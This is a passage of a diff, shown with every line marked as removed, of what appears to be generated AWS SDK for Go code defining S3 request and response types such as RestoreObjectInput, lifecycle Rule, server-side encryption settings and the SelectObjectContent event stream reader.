- // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // Container for restore job parameters. - RestoreRequest *RestoreRequest `locationName:"RestoreRequest" type:"structure" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s RestoreObjectInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s RestoreObjectInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *RestoreObjectInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "RestoreObjectInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - if s.RestoreRequest != nil { - if err := s.RestoreRequest.Validate(); err != nil { - invalidParams.AddNested("RestoreRequest", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *RestoreObjectInput) SetBucket(v string) *RestoreObjectInput { - s.Bucket = &v - return s -} - -func (s *RestoreObjectInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *RestoreObjectInput) SetKey(v string) *RestoreObjectInput { - s.Key = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *RestoreObjectInput) SetRequestPayer(v string) *RestoreObjectInput { - s.RequestPayer = &v - return s -} - -// SetRestoreRequest sets the RestoreRequest field's value. -func (s *RestoreObjectInput) SetRestoreRequest(v *RestoreRequest) *RestoreObjectInput { - s.RestoreRequest = v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *RestoreObjectInput) SetVersionId(v string) *RestoreObjectInput { - s.VersionId = &v - return s -} - -type RestoreObjectOutput struct { - _ struct{} `type:"structure"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` - - // Indicates the path in the provided S3 output location where Select results - // will be restored to. - RestoreOutputPath *string `location:"header" locationName:"x-amz-restore-output-path" type:"string"` -} - -// String returns the string representation -func (s RestoreObjectOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s RestoreObjectOutput) GoString() string { - return s.String() -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *RestoreObjectOutput) SetRequestCharged(v string) *RestoreObjectOutput { - s.RequestCharged = &v - return s -} - -// SetRestoreOutputPath sets the RestoreOutputPath field's value. -func (s *RestoreObjectOutput) SetRestoreOutputPath(v string) *RestoreObjectOutput { - s.RestoreOutputPath = &v - return s -} - -// Container for restore job parameters. -type RestoreRequest struct { - _ struct{} `type:"structure"` - - // Lifetime of the active copy in days. Do not use with restores that specify - // OutputLocation. - Days *int64 `type:"integer"` - - // The optional description for the job. - Description *string `type:"string"` - - // Glacier related parameters pertaining to this job. Do not use with restores - // that specify OutputLocation. - GlacierJobParameters *GlacierJobParameters `type:"structure"` - - // Describes the location where the restore job's output is stored. - OutputLocation *OutputLocation `type:"structure"` - - // Describes the parameters for Select job types. - SelectParameters *SelectParameters `type:"structure"` - - // Glacier retrieval tier at which the restore will be processed. - Tier *string `type:"string" enum:"Tier"` - - // Type of restore request. - Type *string `type:"string" enum:"RestoreRequestType"` -} - -// String returns the string representation -func (s RestoreRequest) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s RestoreRequest) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *RestoreRequest) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "RestoreRequest"} - if s.GlacierJobParameters != nil { - if err := s.GlacierJobParameters.Validate(); err != nil { - invalidParams.AddNested("GlacierJobParameters", err.(request.ErrInvalidParams)) - } - } - if s.OutputLocation != nil { - if err := s.OutputLocation.Validate(); err != nil { - invalidParams.AddNested("OutputLocation", err.(request.ErrInvalidParams)) - } - } - if s.SelectParameters != nil { - if err := s.SelectParameters.Validate(); err != nil { - invalidParams.AddNested("SelectParameters", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetDays sets the Days field's value. -func (s *RestoreRequest) SetDays(v int64) *RestoreRequest { - s.Days = &v - return s -} - -// SetDescription sets the Description field's value. -func (s *RestoreRequest) SetDescription(v string) *RestoreRequest { - s.Description = &v - return s -} - -// SetGlacierJobParameters sets the GlacierJobParameters field's value. -func (s *RestoreRequest) SetGlacierJobParameters(v *GlacierJobParameters) *RestoreRequest { - s.GlacierJobParameters = v - return s -} - -// SetOutputLocation sets the OutputLocation field's value. -func (s *RestoreRequest) SetOutputLocation(v *OutputLocation) *RestoreRequest { - s.OutputLocation = v - return s -} - -// SetSelectParameters sets the SelectParameters field's value. -func (s *RestoreRequest) SetSelectParameters(v *SelectParameters) *RestoreRequest { - s.SelectParameters = v - return s -} - -// SetTier sets the Tier field's value. -func (s *RestoreRequest) SetTier(v string) *RestoreRequest { - s.Tier = &v - return s -} - -// SetType sets the Type field's value. -func (s *RestoreRequest) SetType(v string) *RestoreRequest { - s.Type = &v - return s -} - -type RoutingRule struct { - _ struct{} `type:"structure"` - - // A container for describing a condition that must be met for the specified - // redirect to apply. For example, 1. If request is for pages in the /docs folder, - // redirect to the /documents folder. 2. If request results in HTTP error 4xx, - // redirect request to another host where you might process the error. - Condition *Condition `type:"structure"` - - // Container for redirect information. You can redirect requests to another - // host, to another page, or with another protocol. In the event of an error, - // you can specify a different error code to return. - // - // Redirect is a required field - Redirect *Redirect `type:"structure" required:"true"` -} - -// String returns the string representation -func (s RoutingRule) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s RoutingRule) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *RoutingRule) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "RoutingRule"} - if s.Redirect == nil { - invalidParams.Add(request.NewErrParamRequired("Redirect")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetCondition sets the Condition field's value. -func (s *RoutingRule) SetCondition(v *Condition) *RoutingRule { - s.Condition = v - return s -} - -// SetRedirect sets the Redirect field's value. -func (s *RoutingRule) SetRedirect(v *Redirect) *RoutingRule { - s.Redirect = v - return s -} - -type Rule struct { - _ struct{} `type:"structure"` - - // Specifies the days since the initiation of an Incomplete Multipart Upload - // that Lifecycle will wait before permanently removing all parts of the upload. - AbortIncompleteMultipartUpload *AbortIncompleteMultipartUpload `type:"structure"` - - Expiration *LifecycleExpiration `type:"structure"` - - // Unique identifier for the rule. The value cannot be longer than 255 characters. - ID *string `type:"string"` - - // Specifies when noncurrent object versions expire. Upon expiration, Amazon - // S3 permanently deletes the noncurrent object versions. You set this lifecycle - // configuration action on a bucket that has versioning enabled (or suspended) - // to request that Amazon S3 delete noncurrent object versions at a specific - // period in the object's lifetime. - NoncurrentVersionExpiration *NoncurrentVersionExpiration `type:"structure"` - - // Container for the transition rule that describes when noncurrent objects - // transition to the STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING or GLACIER - // storage class. If your bucket is versioning-enabled (or versioning is suspended), - // you can set this action to request that Amazon S3 transition noncurrent object - // versions to the STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING or GLACIER storage - // class at a specific period in the object's lifetime. - NoncurrentVersionTransition *NoncurrentVersionTransition `type:"structure"` - - // Prefix identifying one or more objects to which the rule applies. - // - // Prefix is a required field - Prefix *string `type:"string" required:"true"` - - // If 'Enabled', the rule is currently being applied. If 'Disabled', the rule - // is not currently being applied. - // - // Status is a required field - Status *string `type:"string" required:"true" enum:"ExpirationStatus"` - - Transition *Transition `type:"structure"` -} - -// String returns the string representation -func (s Rule) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Rule) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *Rule) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "Rule"} - if s.Prefix == nil { - invalidParams.Add(request.NewErrParamRequired("Prefix")) - } - if s.Status == nil { - invalidParams.Add(request.NewErrParamRequired("Status")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAbortIncompleteMultipartUpload sets the AbortIncompleteMultipartUpload field's value. -func (s *Rule) SetAbortIncompleteMultipartUpload(v *AbortIncompleteMultipartUpload) *Rule { - s.AbortIncompleteMultipartUpload = v - return s -} - -// SetExpiration sets the Expiration field's value. -func (s *Rule) SetExpiration(v *LifecycleExpiration) *Rule { - s.Expiration = v - return s -} - -// SetID sets the ID field's value. -func (s *Rule) SetID(v string) *Rule { - s.ID = &v - return s -} - -// SetNoncurrentVersionExpiration sets the NoncurrentVersionExpiration field's value. -func (s *Rule) SetNoncurrentVersionExpiration(v *NoncurrentVersionExpiration) *Rule { - s.NoncurrentVersionExpiration = v - return s -} - -// SetNoncurrentVersionTransition sets the NoncurrentVersionTransition field's value. -func (s *Rule) SetNoncurrentVersionTransition(v *NoncurrentVersionTransition) *Rule { - s.NoncurrentVersionTransition = v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *Rule) SetPrefix(v string) *Rule { - s.Prefix = &v - return s -} - -// SetStatus sets the Status field's value. -func (s *Rule) SetStatus(v string) *Rule { - s.Status = &v - return s -} - -// SetTransition sets the Transition field's value. -func (s *Rule) SetTransition(v *Transition) *Rule { - s.Transition = v - return s -} - -// Specifies the use of SSE-KMS to encrypt delivered Inventory reports. -type SSEKMS struct { - _ struct{} `locationName:"SSE-KMS" type:"structure"` - - // Specifies the ID of the AWS Key Management Service (KMS) master encryption - // key to use for encrypting Inventory reports. - // - // KeyId is a required field - KeyId *string `type:"string" required:"true" sensitive:"true"` -} - -// String returns the string representation -func (s SSEKMS) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s SSEKMS) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *SSEKMS) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "SSEKMS"} - if s.KeyId == nil { - invalidParams.Add(request.NewErrParamRequired("KeyId")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetKeyId sets the KeyId field's value. -func (s *SSEKMS) SetKeyId(v string) *SSEKMS { - s.KeyId = &v - return s -} - -// Specifies the use of SSE-S3 to encrypt delivered Inventory reports. -type SSES3 struct { - _ struct{} `locationName:"SSE-S3" type:"structure"` -} - -// String returns the string representation -func (s SSES3) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s SSES3) GoString() string { - return s.String() -} - -// SelectObjectContentEventStream provides handling of EventStreams for -// the SelectObjectContent API. -// -// Use this type to receive SelectObjectContentEventStream events. The events -// can be read from the Events channel member. -// -// The events that can be received are: -// -// * ContinuationEvent -// * EndEvent -// * ProgressEvent -// * RecordsEvent -// * StatsEvent -type SelectObjectContentEventStream struct { - // Reader is the EventStream reader for the SelectObjectContentEventStream - // events. This value is automatically set by the SDK when the API call is made - // Use this member when unit testing your code with the SDK to mock out the - // EventStream Reader. - // - // Must not be nil. - Reader SelectObjectContentEventStreamReader - - // StreamCloser is the io.Closer for the EventStream connection. For HTTP - // EventStream this is the response Body. The stream will be closed when - // the Close method of the EventStream is called. - StreamCloser io.Closer -} - -// Close closes the EventStream. This will also cause the Events channel to be -// closed. You can use the closing of the Events channel to terminate your -// application's read from the API's EventStream. -// -// Will close the underlying EventStream reader. For EventStream over HTTP -// connection this will also close the HTTP connection. -// -// Close must be called when done using the EventStream API. Not calling Close -// may result in resource leaks. -func (es *SelectObjectContentEventStream) Close() (err error) { - es.Reader.Close() - return es.Err() -} - -// Err returns any error that occurred while reading EventStream Events from -// the service API's response. Returns nil if there were no errors. -func (es *SelectObjectContentEventStream) Err() error { - if err := es.Reader.Err(); err != nil { - return err - } - es.StreamCloser.Close() - - return nil -} - -// Events returns a channel to read EventStream Events from the -// SelectObjectContent API. -// -// These events are: -// -// * ContinuationEvent -// * EndEvent -// * ProgressEvent -// * RecordsEvent -// * StatsEvent -func (es *SelectObjectContentEventStream) Events() <-chan SelectObjectContentEventStreamEvent { - return es.Reader.Events() -} - -// SelectObjectContentEventStreamEvent groups together all EventStream -// events read from the SelectObjectContent API. -// -// These events are: -// -// * ContinuationEvent -// * EndEvent -// * ProgressEvent -// * RecordsEvent -// * StatsEvent -type SelectObjectContentEventStreamEvent interface { - eventSelectObjectContentEventStream() -} - -// SelectObjectContentEventStreamReader provides the interface for reading EventStream -// Events from the SelectObjectContent API. The -// default implementation for this interface will be SelectObjectContentEventStream. -// -// The reader's Close method must allow multiple concurrent calls. -// -// These events are: -// -// * ContinuationEvent -// * EndEvent -// * ProgressEvent -// * RecordsEvent -// * StatsEvent -type SelectObjectContentEventStreamReader interface { - // Returns a channel of events as they are read from the event stream. - Events() <-chan SelectObjectContentEventStreamEvent - - // Close will close the underlying event stream reader. For event stream over - // HTTP this will also close the HTTP connection. - Close() error - - // Returns any error that has occurred while reading from the event stream. - Err() error -} - -type readSelectObjectContentEventStream struct { - eventReader *eventstreamapi.EventReader - stream chan SelectObjectContentEventStreamEvent - errVal atomic.Value - - done chan struct{} - closeOnce sync.Once -} - -func newReadSelectObjectContentEventStream( - reader io.ReadCloser, - unmarshalers request.HandlerList, - logger aws.Logger, - logLevel aws.LogLevelType, -) *readSelectObjectContentEventStream { - r := &readSelectObjectContentEventStream{ - stream: make(chan SelectObjectContentEventStreamEvent), - done: make(chan struct{}), - } - - r.eventReader = eventstreamapi.NewEventReader( - reader, - protocol.HandlerPayloadUnmarshal{ - Unmarshalers: unmarshalers, - }, - r.unmarshalerForEventType, - ) - r.eventReader.UseLogger(logger, logLevel) - - return r -} - -// Close will close the underlying event stream reader. For EventStream over -// HTTP this will also close the HTTP connection. -func (r *readSelectObjectContentEventStream) Close() error { - r.closeOnce.Do(r.safeClose) - - return r.Err() -} - -func (r *readSelectObjectContentEventStream) safeClose() { - close(r.done) - err := r.eventReader.Close() - if err != nil { - r.errVal.Store(err) - } -} - -func (r *readSelectObjectContentEventStream) Err() error { - if v := r.errVal.Load(); v != nil { - return v.(error) - } - - return nil -} - -func (r *readSelectObjectContentEventStream) Events() <-chan SelectObjectContentEventStreamEvent { - return r.stream -} - -func (r *readSelectObjectContentEventStream) readEventStream() { - defer close(r.stream) - - for { - event, err := r.eventReader.ReadEvent() - if err != nil { - if err == io.EOF { - return - } - select { - case <-r.done: - // If closed already ignore the error - return - default: - } - r.errVal.Store(err) - return - } - - select { - case r.stream <- event.(SelectObjectContentEventStreamEvent): - case <-r.done: - return - } - } -} - -func (r *readSelectObjectContentEventStream) unmarshalerForEventType( - eventType string, -) (eventstreamapi.Unmarshaler, error) { - switch eventType { - case "Cont": - return &ContinuationEvent{}, nil - - case "End": - return &EndEvent{}, nil - - case "Progress": - return &ProgressEvent{}, nil - - case "Records": - return &RecordsEvent{}, nil - - case "Stats": - return &StatsEvent{}, nil - default: - return nil, awserr.New( - request.ErrCodeSerialization, - fmt.Sprintf("unknown event type name, %s, for SelectObjectContentEventStream", eventType), - nil, - ) - } -} - -// Request to filter the contents of an Amazon S3 object based on a simple Structured -// Query Language (SQL) statement. In the request, along with the SQL expression, -// you must specify a data serialization format (JSON or CSV) of the object. -// Amazon S3 uses this to parse object data into records. It returns only records -// that match the specified SQL expression. You must also specify the data serialization -// format for the response. For more information, see S3Select API Documentation -// (https://docs.aws.amazon.com/AmazonS3/latest/API/RESTObjectSELECTContent.html). -type SelectObjectContentInput struct { - _ struct{} `locationName:"SelectObjectContentRequest" type:"structure" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - // The S3 bucket. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The expression that is used to query the object. - // - // Expression is a required field - Expression *string `type:"string" required:"true"` - - // The type of the provided expression (for example., SQL). - // - // ExpressionType is a required field - ExpressionType *string `type:"string" required:"true" enum:"ExpressionType"` - - // Describes the format of the data in the object that is being queried. - // - // InputSerialization is a required field - InputSerialization *InputSerialization `type:"structure" required:"true"` - - // The object key. - // - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // Describes the format of the data that you want Amazon S3 to return in response. - // - // OutputSerialization is a required field - OutputSerialization *OutputSerialization `type:"structure" required:"true"` - - // Specifies if periodic request progress information should be enabled. - RequestProgress *RequestProgress `type:"structure"` - - // The SSE Algorithm used to encrypt the object. For more information, see - // Server-Side Encryption (Using Customer-Provided Encryption Keys (https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerSideEncryptionCustomerKeys.html). - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // The SSE Customer Key. For more information, see Server-Side Encryption (Using - // Customer-Provided Encryption Keys (https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerSideEncryptionCustomerKeys.html). - SSECustomerKey *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key" type:"string" sensitive:"true"` - - // The SSE Customer Key MD5. For more information, see Server-Side Encryption - // (Using Customer-Provided Encryption Keys (https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerSideEncryptionCustomerKeys.html). - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` -} - -// String returns the string representation -func (s SelectObjectContentInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s SelectObjectContentInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *SelectObjectContentInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "SelectObjectContentInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Expression == nil { - invalidParams.Add(request.NewErrParamRequired("Expression")) - } - if s.ExpressionType == nil { - invalidParams.Add(request.NewErrParamRequired("ExpressionType")) - } - if s.InputSerialization == nil { - invalidParams.Add(request.NewErrParamRequired("InputSerialization")) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - if s.OutputSerialization == nil { - invalidParams.Add(request.NewErrParamRequired("OutputSerialization")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *SelectObjectContentInput) SetBucket(v string) *SelectObjectContentInput { - s.Bucket = &v - return s -} - -func (s *SelectObjectContentInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetExpression sets the Expression field's value. -func (s *SelectObjectContentInput) SetExpression(v string) *SelectObjectContentInput { - s.Expression = &v - return s -} - -// SetExpressionType sets the ExpressionType field's value. -func (s *SelectObjectContentInput) SetExpressionType(v string) *SelectObjectContentInput { - s.ExpressionType = &v - return s -} - -// SetInputSerialization sets the InputSerialization field's value. -func (s *SelectObjectContentInput) SetInputSerialization(v *InputSerialization) *SelectObjectContentInput { - s.InputSerialization = v - return s -} - -// SetKey sets the Key field's value. -func (s *SelectObjectContentInput) SetKey(v string) *SelectObjectContentInput { - s.Key = &v - return s -} - -// SetOutputSerialization sets the OutputSerialization field's value. -func (s *SelectObjectContentInput) SetOutputSerialization(v *OutputSerialization) *SelectObjectContentInput { - s.OutputSerialization = v - return s -} - -// SetRequestProgress sets the RequestProgress field's value. -func (s *SelectObjectContentInput) SetRequestProgress(v *RequestProgress) *SelectObjectContentInput { - s.RequestProgress = v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *SelectObjectContentInput) SetSSECustomerAlgorithm(v string) *SelectObjectContentInput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKey sets the SSECustomerKey field's value. -func (s *SelectObjectContentInput) SetSSECustomerKey(v string) *SelectObjectContentInput { - s.SSECustomerKey = &v - return s -} - -func (s *SelectObjectContentInput) getSSECustomerKey() (v string) { - if s.SSECustomerKey == nil { - return v - } - return *s.SSECustomerKey -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *SelectObjectContentInput) SetSSECustomerKeyMD5(v string) *SelectObjectContentInput { - s.SSECustomerKeyMD5 = &v - return s -} - -type SelectObjectContentOutput struct { - _ struct{} `type:"structure" payload:"Payload"` - - // Use EventStream to use the API's stream. - EventStream *SelectObjectContentEventStream `type:"structure"` -} - -// String returns the string representation -func (s SelectObjectContentOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s SelectObjectContentOutput) GoString() string { - return s.String() -} - -// SetEventStream sets the EventStream field's value. -func (s *SelectObjectContentOutput) SetEventStream(v *SelectObjectContentEventStream) *SelectObjectContentOutput { - s.EventStream = v - return s -} - -func (s *SelectObjectContentOutput) runEventStreamLoop(r *request.Request) { - if r.Error != nil { - return - } - reader := newReadSelectObjectContentEventStream( - r.HTTPResponse.Body, - r.Handlers.UnmarshalStream, - r.Config.Logger, - r.Config.LogLevel.Value(), - ) - go reader.readEventStream() - - eventStream := &SelectObjectContentEventStream{ - StreamCloser: r.HTTPResponse.Body, - Reader: reader, - } - s.EventStream = eventStream -} - -// Describes the parameters for Select job types. -type SelectParameters struct { - _ struct{} `type:"structure"` - - // The expression that is used to query the object. - // - // Expression is a required field - Expression *string `type:"string" required:"true"` - - // The type of the provided expression (e.g., SQL). - // - // ExpressionType is a required field - ExpressionType *string `type:"string" required:"true" enum:"ExpressionType"` - - // Describes the serialization format of the object. - // - // InputSerialization is a required field - InputSerialization *InputSerialization `type:"structure" required:"true"` - - // Describes how the results of the Select job are serialized. - // - // OutputSerialization is a required field - OutputSerialization *OutputSerialization `type:"structure" required:"true"` -} - -// String returns the string representation -func (s SelectParameters) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s SelectParameters) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *SelectParameters) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "SelectParameters"} - if s.Expression == nil { - invalidParams.Add(request.NewErrParamRequired("Expression")) - } - if s.ExpressionType == nil { - invalidParams.Add(request.NewErrParamRequired("ExpressionType")) - } - if s.InputSerialization == nil { - invalidParams.Add(request.NewErrParamRequired("InputSerialization")) - } - if s.OutputSerialization == nil { - invalidParams.Add(request.NewErrParamRequired("OutputSerialization")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetExpression sets the Expression field's value. -func (s *SelectParameters) SetExpression(v string) *SelectParameters { - s.Expression = &v - return s -} - -// SetExpressionType sets the ExpressionType field's value. -func (s *SelectParameters) SetExpressionType(v string) *SelectParameters { - s.ExpressionType = &v - return s -} - -// SetInputSerialization sets the InputSerialization field's value. -func (s *SelectParameters) SetInputSerialization(v *InputSerialization) *SelectParameters { - s.InputSerialization = v - return s -} - -// SetOutputSerialization sets the OutputSerialization field's value. -func (s *SelectParameters) SetOutputSerialization(v *OutputSerialization) *SelectParameters { - s.OutputSerialization = v - return s -} - -// Describes the default server-side encryption to apply to new objects in the -// bucket. If Put Object request does not specify any server-side encryption, -// this default encryption will be applied. -type ServerSideEncryptionByDefault struct { - _ struct{} `type:"structure"` - - // KMS master key ID to use for the default encryption. This parameter is allowed - // if SSEAlgorithm is aws:kms. - KMSMasterKeyID *string `type:"string" sensitive:"true"` - - // Server-side encryption algorithm to use for the default encryption. - // - // SSEAlgorithm is a required field - SSEAlgorithm *string `type:"string" required:"true" enum:"ServerSideEncryption"` -} - -// String returns the string representation -func (s ServerSideEncryptionByDefault) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ServerSideEncryptionByDefault) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ServerSideEncryptionByDefault) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ServerSideEncryptionByDefault"} - if s.SSEAlgorithm == nil { - invalidParams.Add(request.NewErrParamRequired("SSEAlgorithm")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetKMSMasterKeyID sets the KMSMasterKeyID field's value. -func (s *ServerSideEncryptionByDefault) SetKMSMasterKeyID(v string) *ServerSideEncryptionByDefault { - s.KMSMasterKeyID = &v - return s -} - -// SetSSEAlgorithm sets the SSEAlgorithm field's value. -func (s *ServerSideEncryptionByDefault) SetSSEAlgorithm(v string) *ServerSideEncryptionByDefault { - s.SSEAlgorithm = &v - return s -} - -// Container for server-side encryption configuration rules. Currently S3 supports -// one rule only. -type ServerSideEncryptionConfiguration struct { - _ struct{} `type:"structure"` - - // Container for information about a particular server-side encryption configuration - // rule. - // - // Rules is a required field - Rules []*ServerSideEncryptionRule `locationName:"Rule" type:"list" flattened:"true" required:"true"` -} - -// String returns the string representation -func (s ServerSideEncryptionConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ServerSideEncryptionConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ServerSideEncryptionConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ServerSideEncryptionConfiguration"} - if s.Rules == nil { - invalidParams.Add(request.NewErrParamRequired("Rules")) - } - if s.Rules != nil { - for i, v := range s.Rules { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "Rules", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetRules sets the Rules field's value. -func (s *ServerSideEncryptionConfiguration) SetRules(v []*ServerSideEncryptionRule) *ServerSideEncryptionConfiguration { - s.Rules = v - return s -} - -// Container for information about a particular server-side encryption configuration -// rule. -type ServerSideEncryptionRule struct { - _ struct{} `type:"structure"` - - // Describes the default server-side encryption to apply to new objects in the - // bucket. If Put Object request does not specify any server-side encryption, - // this default encryption will be applied. - ApplyServerSideEncryptionByDefault *ServerSideEncryptionByDefault `type:"structure"` -} - -// String returns the string representation -func (s ServerSideEncryptionRule) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ServerSideEncryptionRule) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ServerSideEncryptionRule) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ServerSideEncryptionRule"} - if s.ApplyServerSideEncryptionByDefault != nil { - if err := s.ApplyServerSideEncryptionByDefault.Validate(); err != nil { - invalidParams.AddNested("ApplyServerSideEncryptionByDefault", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetApplyServerSideEncryptionByDefault sets the ApplyServerSideEncryptionByDefault field's value. -func (s *ServerSideEncryptionRule) SetApplyServerSideEncryptionByDefault(v *ServerSideEncryptionByDefault) *ServerSideEncryptionRule { - s.ApplyServerSideEncryptionByDefault = v - return s -} - -// A container for filters that define which source objects should be replicated. -type SourceSelectionCriteria struct { - _ struct{} `type:"structure"` - - // A container for filter information for the selection of S3 objects encrypted - // with AWS KMS. If you include SourceSelectionCriteria in the replication configuration, - // this element is required. - SseKmsEncryptedObjects *SseKmsEncryptedObjects `type:"structure"` -} - -// String returns the string representation -func (s SourceSelectionCriteria) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s SourceSelectionCriteria) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *SourceSelectionCriteria) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "SourceSelectionCriteria"} - if s.SseKmsEncryptedObjects != nil { - if err := s.SseKmsEncryptedObjects.Validate(); err != nil { - invalidParams.AddNested("SseKmsEncryptedObjects", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetSseKmsEncryptedObjects sets the SseKmsEncryptedObjects field's value. -func (s *SourceSelectionCriteria) SetSseKmsEncryptedObjects(v *SseKmsEncryptedObjects) *SourceSelectionCriteria { - s.SseKmsEncryptedObjects = v - return s -} - -// A container for filter information for the selection of S3 objects encrypted -// with AWS KMS. -type SseKmsEncryptedObjects struct { - _ struct{} `type:"structure"` - - // If the status is not Enabled, replication for S3 objects encrypted with AWS - // KMS is disabled. - // - // Status is a required field - Status *string `type:"string" required:"true" enum:"SseKmsEncryptedObjectsStatus"` -} - -// String returns the string representation -func (s SseKmsEncryptedObjects) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s SseKmsEncryptedObjects) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *SseKmsEncryptedObjects) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "SseKmsEncryptedObjects"} - if s.Status == nil { - invalidParams.Add(request.NewErrParamRequired("Status")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetStatus sets the Status field's value. -func (s *SseKmsEncryptedObjects) SetStatus(v string) *SseKmsEncryptedObjects { - s.Status = &v - return s -} - -type Stats struct { - _ struct{} `type:"structure"` - - // The total number of uncompressed object bytes processed. - BytesProcessed *int64 `type:"long"` - - // The total number of bytes of records payload data returned. - BytesReturned 